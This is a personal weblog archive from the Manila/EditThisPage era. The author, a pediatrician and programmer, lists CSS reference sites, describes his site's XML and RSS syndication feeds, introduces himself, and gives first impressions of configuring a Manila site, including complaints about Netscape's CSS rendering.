A great resource for budding and veteran CSS users alike is WebReview’s master grid of CSS support. It shows you which browsers handle what, and generally has some good notes to explain quirks that they’ve discovered. (My favorite, so far, is their note on Netscape’s inheritance “support”: “Navigator 4’s inheritance is unstable at best, and fatally flawed at worst. It would take too long to list all occurrences, but partiularly troublesome areas include tables and lists.”)

Another great resource: Index Dot CSS. This is a sister site to Index Dot HTML, which has long been my favorite HTML markup reference site.

Microsoft’s Web Workshop on HTML, DHTML, and CSS is a good reference and article site about lots of broad and narrow CSS topics (as well as just plain the most exhaustive reference for every single little itty bitty attribute of every single HTML, DHTML, and CSS element you can think of).

The XML version of Q Daily News (ready to flow into syndication systems) can be found at the address http://q.queso.com/xml/scriptingNews2.xml. The format of the XML file is <scriptingNews> 2.0b1, the format defined by Userland and Netscape, and used by My.Netscape and My.Userland (among others).

There’s also an RSS version of Q Daily News, available at the address http://q.queso.com/xml/rss.xml. The format of this XML file is straight RSS; note that this is one of the stupider syndication formats, as it doesn’t allow more than one link per item, nor does it allow a syndication file to be greater than 8 Kb. (What I’m trying to say is that the RSS version of Q Daily News doesn’t contain everything for every day, so don’t use it unless you have to.)

If you have any issues with this, please feel free to mail me.

me in alaska

I’m Jason, and this is Q.

It’s my first attempt to share the sometimes-appropriate (usually-inappropriate), rarely-influential, always-honest thoughts that come to me throughout the day. For the most part, I keep Q going for myself — it’s the place where I can vent, talk about things that I’ve done, tell stories, put my pictures, and keep tabs on the things that interest me from day to day. (For example, the first family member of mine to find out about Q did so over a year after I started things here.)

As for who I am, that’s easy — I’m the middle child of three, a once-bashful-now-proud cat owner, the president and owner of Queso Technologies, a doctor, a pediatrics resident in New York City, a future pediatric hematology/oncology fellow in Boston, an employee of a magazine company also in NYC, and sometimes I sleep. If you’ve spent any amount of time reading here, you already know that I’m pretty damn smitten by Shannon; in addition to her, my friends, family, cat, jazz collection, computers, and DVDs make me a very happy person. And living in a rent-stabilized, big two-bedroom New York City apartment makes me very, very lucky.

On and off, I’ve been programming ever since I knew my name. Much later in life, I figured out that I couldn’t ask for a better life than to become a pediatrician. Now, I am feeling my way around trying to meld the two lives into one, and it looks like there are some really good opportunities out there.

Please feel free to let me know what you think.

(And if you enjoy mailing unwanted crap to people who don’t want it, check this out.)

This would be the home page of q. There’s not much here right now… I apologize for that, and look to remedy it soon.

I have written my first story, Don’t cry for Netscape. It was inspired by ramming my head into too many design walls while trying to make a page viewable in Netscape.

Scripting News Readers

Good morning to you all! The fact that you’re reading this is a testament to the power of Manila — I signed up for my site sometime yesterday afternoon, got a generic Manila site in return, started playing with the styles, layout, and prefs, and put up a page or two, all before going to sleep. Thanks to Dave for pointing you here; now I feel that I have a pretty big burden to keep things up to date and moving. So, without further ado…

Please, everyone, feel free to post to the discussion group in my absence!

My brief take on the configuration stuff

First, the configurability of this is pretty much great — I can’t host an environment-driven home page on most (all?) of the big sites and include a CSS section or JavaScript section on all served pages. That ability here is bigtime.

From my minimal playing with the prefs and things that I can configure, though, I have three wishes:

  1. I agree with Zeke; I wish that I had access to the class tags on the various markup elements; ‘twould make it much simpler to design a nice CSS for the whole site.
  2. I wish that the navbar on the left had all of its elements enclosed in <p> and </p> tags (as opposed to the current method of just terminating each with a <p>) — it appears that if I have a specific font size associated with the P element, IE on Windows will only apply it to the first such P element in a group if the paragraphs aren’t enclosed in full <p> and </p> structures. (So, when I started here, I had my paras rendering with 11-point type, but only the Home line was doing so, the rest were doing as they wished.)
  3. I wish that Netscape would come out with a browser that would even try to approximate usage of a CSS in a way that made any sense. (For example, if you’re using Netscape on the PC, I’m pretty sure that the navbar on the left has one font for the first item in it and another font for the rest, which assuredly is not how I designed it. And once I saw this list rendered in Netscape, I had to add an OL section to my CSS; for some reason, Netscape decided that a list doesn’t inherit the font-family property of the page itself.)

Who are my members?

My last wish (so far) is that I could conjure up a list of all of the people who’ve signed on as members to my Manilasite. (I originally typed that last word as a typo, meaning for there to be a space between the two words, but I like how it looks like that!) I can see where I can get a list of the people who’ve signed up and requested receipt of my bulletins, but I don’t see where the entire member list can be found. Am I missing something?

(I just found the /profiles link, but I still want a list on which I can see all on one page.)

Who are my peers?

I also think it would be cool if Dave and Userland put up a site that listed all of the people who have EditThisPage sites. That way, I could latch onto my peers like the remora that I am. Wait… cool idea forming… How cool would it be if one of the prefs for the site was that My.Userland.Com grabbed your changes, just like any other My.Userland.Com member?

A few questions…

What glossary am I tied in to? I would assume the big Userland one, but I have no idea.

Dave’s answer: both the Userland one and my own. Pretty awesome!

If I leave this hosting service, do I get to keep my .root file?

Dave’s answer: yep!

What is the URL to my syndication file?

Dave’s (and Brent’s) answer: /xml/scriptingNews2.xml; I now have it in the navbar to the left.

Wow…

OK, this is too cool. I can see that I will be maintaining this site pretty well, since the whole edit-in-browser thing is way more addictive than I thought it ever could be.

I can also see that I can make this site look almost any way that I want it to — I can make it so that you can’t tell it’s a Manila site, if I want! (I can see how this would be pretty attractive to big companies out there who want to totally control the site structure and look-and-feel.)